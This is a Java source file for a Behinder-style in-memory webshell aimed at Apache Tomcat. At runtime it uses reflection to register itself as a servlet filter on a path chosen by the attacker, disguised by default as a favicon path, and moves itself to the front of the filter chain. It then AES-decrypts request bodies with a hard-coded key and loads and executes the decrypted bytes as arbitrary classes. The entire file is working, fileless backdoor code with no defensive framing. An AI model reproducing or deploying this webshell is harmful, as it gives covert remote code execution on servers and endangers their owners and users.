content: package com.summersec.x;
  
  
  import java.io.IOException;
  import java.lang.reflect.Field;
  import java.lang.reflect.Method;
  import java.math.BigInteger;
  import java.security.MessageDigest;
  import java.util.EnumSet;
  import java.util.HashMap;
  import java.util.Map;
  import javax.crypto.Cipher;
  import javax.crypto.spec.SecretKeySpec;
  import javax.servlet.*;
  import javax.servlet.FilterRegistration.Dynamic;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import javax.servlet.http.HttpSession;
  import org.apache.catalina.LifecycleState;
  import org.apache.catalina.connector.RequestFacade;
  import org.apache.catalina.connector.ResponseFacade;
  import org.apache.catalina.core.ApplicationContext;
  import org.apache.catalina.core.StandardContext;
  import org.apache.catalina.util.LifecycleBase;
  
  public final class BehinderFilter extends ClassLoader implements Filter {
      public HttpServletRequest request = null;
      public HttpServletResponse response = null;
      public String cs = "UTF-8";
      public String Pwd = "eac9fa38330a7535";
      public String path = "/favicondemo.ico";
  
      public BehinderFilter() {
      }
  
      public BehinderFilter(ClassLoader c) {
          super(c);
      }
  
      public Class g(byte[] b) {
          return super.defineClass(b, 0, b.length);
      }
  
      public static String md5(String s) {
          String ret = null;
  
          try {
              MessageDigest m = MessageDigest.getInstance("MD5");
              m.update(s.getBytes(), 0, s.length());
              ret = (new BigInteger(1, m.digest())).toString(16).substring(0, 16);
          } catch (Exception var3) {
          }
  
          return ret;
      }
  
      public boolean equals(Object obj) {
          this.parseObj(obj);
          this.Pwd = md5(this.request.getHeader("p"));
          this.path = this.request.getHeader("path");
          StringBuffer output = new StringBuffer();
          String tag_s = "->|";
          String tag_e = "|<-";
  
          try {
              this.response.setContentType("text/html");
              this.request.setCharacterEncoding(this.cs);
              this.response.setCharacterEncoding(this.cs);
              output.append(this.addFilter());
          } catch (Exception var7) {
              output.append("ERROR:// " + var7.toString());
          }
  
          try {
              this.response.getWriter().print(tag_s + output.toString() + tag_e);
              this.response.getWriter().flush();
              this.response.getWriter().close();
          } catch (Exception var6) {
          }
  
          return true;
      }
  
      public void parseObj(Object obj) {
          if (obj.getClass().isArray()) {
              Object[] data = (Object[])((Object[])obj);
              this.request = (HttpServletRequest)data[0];
              this.response = (HttpServletResponse)data[1];
          } else {
              try {
                  Class clazz = Class.forName("javax.servlet.jsp.PageContext");
                  this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
                  this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
              } catch (Exception var8) {
                  if (obj instanceof HttpServletRequest) {
                      this.request = (HttpServletRequest)obj;
  
                      try {
                          Field req = this.request.getClass().getDeclaredField("request");
                          req.setAccessible(true);
                          HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
                          Field resp = request2.getClass().getDeclaredField("response");
                          resp.setAccessible(true);
                          this.response = (HttpServletResponse)resp.get(request2);
                      } catch (Exception var7) {
                          try {
                              this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
                          } catch (Exception var6) {
                          }
                      }
                  }
              }
          }
  
      }
  
      public String addFilter() throws Exception {
          ServletContext servletContext = this.request.getServletContext();
          Filter filter = this;
          String filterName = this.path;
          String url = this.path;
          if (servletContext.getFilterRegistration(filterName) == null) {
              Field contextField = null;
              ApplicationContext applicationContext = null;
              StandardContext standardContext = null;
              Field stateField = null;
              Dynamic filterRegistration = null;
  
              String var11;
              try {
                  contextField = servletContext.getClass().getDeclaredField("context");
                  contextField.setAccessible(true);
                  applicationContext = (ApplicationContext)contextField.get(servletContext);
                  contextField = applicationContext.getClass().getDeclaredField("context");
                  contextField.setAccessible(true);
                  standardContext = (StandardContext)contextField.get(applicationContext);
                  stateField = LifecycleBase.class.getDeclaredField("state");
                  stateField.setAccessible(true);
                  stateField.set(standardContext, LifecycleState.STARTING_PREP);
                  filterRegistration = servletContext.addFilter(filterName, filter);
                  filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
                  Method filterStartMethod = StandardContext.class.getMethod("filterStart");
                  filterStartMethod.setAccessible(true);
                  filterStartMethod.invoke(standardContext, (Object[])null);
                  stateField.set(standardContext, LifecycleState.STARTED);
                  var11 = null;
  
                  Class filterMap;
                  try {
                      filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
                  } catch (Exception var21) {
                      filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
                  }
  
                  Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
                  Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
  
                  for(int i = 0; i < filterMaps.length; ++i) {
                      Object filterMapObj = filterMaps[i];
                      findFilterMaps = filterMap.getMethod("getFilterName");
                      String name = (String)findFilterMaps.invoke(filterMapObj);
                      if (name.equalsIgnoreCase(filterName)) {
                          filterMaps[i] = filterMaps[0];
                          filterMaps[0] = filterMapObj;
                      }
                  }
  
                  String var25 = "Success";
                  return var25;
              } catch (Exception var22) {
                  var11 = var22.getMessage();
              } finally {
                  stateField.set(standardContext, LifecycleState.STARTED);
              }
  
              return var11;
          } else {
              return "Filter already exists";
          }
      }
  
      public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
          HttpSession session = ((HttpServletRequest)req).getSession();
          Object lastRequest = req;
          Object lastResponse = resp;
          // 解决包装类RequestWrapper的问题
          // 详细描述见 https://github.com/rebeyond/Behinder/issues/187
          if (!(lastRequest instanceof RequestFacade)) {
              Method getRequest = null;
              try {
                  getRequest = ServletRequestWrapper.class.getMethod("getRequest");
                  lastRequest = getRequest.invoke(request);
                  while (true) {
                      if (lastRequest instanceof RequestFacade) break;
                      lastRequest = getRequest.invoke(lastRequest);
                  }
              } catch (Exception e) {
  //                e.printStackTrace();
              }
          }
          // 解决包装类ResponseWrapper的问题
          try {
              if (!(lastResponse instanceof ResponseFacade)) {
                  Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
                  lastResponse = getResponse.invoke(response);
                  while (true) {
                      if (lastResponse instanceof ResponseFacade) break;
                      lastResponse = getResponse.invoke(lastResponse);
                  }
              }
          }catch (Exception e) {
  
          }
  
          Map obj = new HashMap();
          obj.put("request", lastRequest);
          obj.put("response", lastResponse);
          obj.put("session", session);
  
          try {
              session.putValue("u", this.Pwd);
              Cipher c = Cipher.getInstance("AES");
              c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES"));
              (new BehinderFilter(this.getClass().getClassLoader())).g(c.doFinal(this.base64Decode(req.getReader().readLine()))).newInstance().equals(obj);
          } catch (Exception var7) {
              var7.printStackTrace();
          }
  
      }
  
      public byte[] base64Decode(String str) throws Exception {
          try {
              Class clazz = Class.forName("sun.misc.BASE64Decoder");
              return (byte[])((byte[])clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
          } catch (Exception var5) {
              Class clazz = Class.forName("java.util.Base64");
              Object decoder = clazz.getMethod("getDecoder").invoke((Object)null);
              return (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
          }
      }
  
      public void init(FilterConfig filterConfig) throws ServletException {
      }
  
      public void destroy() {
      }
  }
  